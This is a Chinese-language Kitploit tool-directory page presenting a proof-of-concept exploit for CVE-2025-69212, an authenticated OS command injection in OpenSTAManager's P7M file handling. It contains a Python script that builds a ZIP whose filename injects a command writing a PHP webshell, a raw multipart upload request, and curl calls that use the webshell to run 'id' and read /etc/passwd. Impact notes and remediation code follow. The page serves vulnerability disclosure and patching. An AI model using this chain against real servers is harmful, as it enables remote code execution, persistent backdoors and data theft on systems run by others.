Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-69212 — 针对CVE-2025-69212的概念验证漏洞利用:OpenSTAManager在处理P7M文件时存在操作系统命令注入漏洞,通过恶意ZIP上传可实现经过身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2025-69212
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制Payload 开发
GitHublukasz-rybak/cve-2025-69212

CVE-2025-69212

针对CVE-2025-69212的概念验证漏洞利用:OpenSTAManager在处理P7M文件时存在操作系统命令注入漏洞,通过恶意ZIP上传可实现经过身份验证的远程代码执行。

查看仓库
425个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-69212: OpenSTAManager 在 P7M 文件处理中存在 OS 命令注入

概述

字段详情
CVE IDCVE-2025-69212
严重程度严重
公告查看公告
发现者Lukasz Rybak

受影响产品

  • devcode-it/openstamanager (版本: <= 2.9.8)

CWE 分类

  • CWE-78: 操作系统命令中特殊元素未正确中和('OS 命令注入')

详情

摘要

P7M(签名 XML)文件解码功能中存在一个严重的 OS 命令注入漏洞。经过身份验证的攻击者可以上传包含恶意文件名 .p7m 文件的 ZIP 压缩包,从而在服务器上执行任意系统命令。

漏洞代码

文件: src/Util/XML.php:100

root@kitploit:~
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // 漏洞 - 未进行输入清理!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

问题:

  • $file 参数直接被传递给 exec() 而未经过清理
  • 尽管用双引号包裹,攻击者仍可逃脱引号
  • 文件名来自上传的 ZIP 压缩包(用户可控)

攻击向量

入口点:

  1. plugins/importFE_ZIP/actions.php:126(当自动导入启用时)

    root@kitploit:~
    foreach ($files_xml as $xml) {
        if (string_ends_with($xml, '.p7m')) {
            $file = XML::decodeP7M($directory.'/'.$xml);  // $xml 来自 ZIP!
    
  2. plugins/importFE/src/FatturaElettronica.php:56(构造函数)

    root@kitploit:~
    if (string_ends_with($name, '.p7m')) {
        $file = XML::decodeP7M($this->file);  // $name 来自用户输入!
    

攻击流程:

  1. 攻击者创建包含恶意文件名的 ZIP 压缩包
  2. 通过 importFE_ZIP 插件上传 ZIP
  3. 应用程序解压 ZIP 并遍历文件
  4. 对于 .p7m 文件,调用 decodeP7M()
  5. 恶意文件名被注入 exec() 命令
  6. 以 Web 服务器用户身份执行任意命令

概念验证

⚠️ 重要说明: PHP 的 ZipArchive::extractTo() 会根据 / 字符分割文件名。payload 中的命令不得包含 /。请使用 cd directory && command 替代绝对路径。

步骤 1:创建恶意 ZIP

root@kitploit:~
import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

步骤 2:上传 ZIP

root@kitploit:~
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
image
image

步骤 3:利用结果

响应(预期返回 500 错误 - XML 解析在命令执行后失败):

root@kitploit:~
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

验证——已创建 Webshell:

image

步骤 4:远程代码执行

Webshell 可公开访问,无需认证:

root@kitploit:~
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[完整 /etc/passwd 输出]
image

影响

  • 远程代码执行: 服务器完全沦陷
  • 数据窃取: 访问所有应用程序数据和数据库
  • 权限提升: 如果 Web 服务器以高权限运行,可能进行权限提升
  • 持久化: 安装后门并维持访问
  • 横向移动: 在网络中跳转到其他系统

前提条件

  • 拥有发票导入功能访问权限的已认证用户

修复措施

输入清理

root@kitploit:~
public static function decodeP7M($file)
{
    // 验证文件路径不包含 shell 元字符
    if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
        throw new \Exception('无效的文件路径');
    }

    // 更佳:使用 escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

或

处理前验证文件名

root@kitploit:~
// 在上传处理程序中,验证来自 ZIP 的文件名
foreach ($files_xml as $xml) {
    // 仅允许字母、数字、点、短横、下划线
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // 跳过无效文件名
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

致谢

发现者:Łukasz Rybak

参考

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
  • https://nvd.nist.gov/vuln/detail/CVE-2025-69212
  • https://github.com/advisories/GHSA-25fp-8w8p-mx36

免责声明

该 CVE 已按照协调漏洞披露规范负责任地披露。此处提供的信息仅供教育和防御目的使用。

下载工具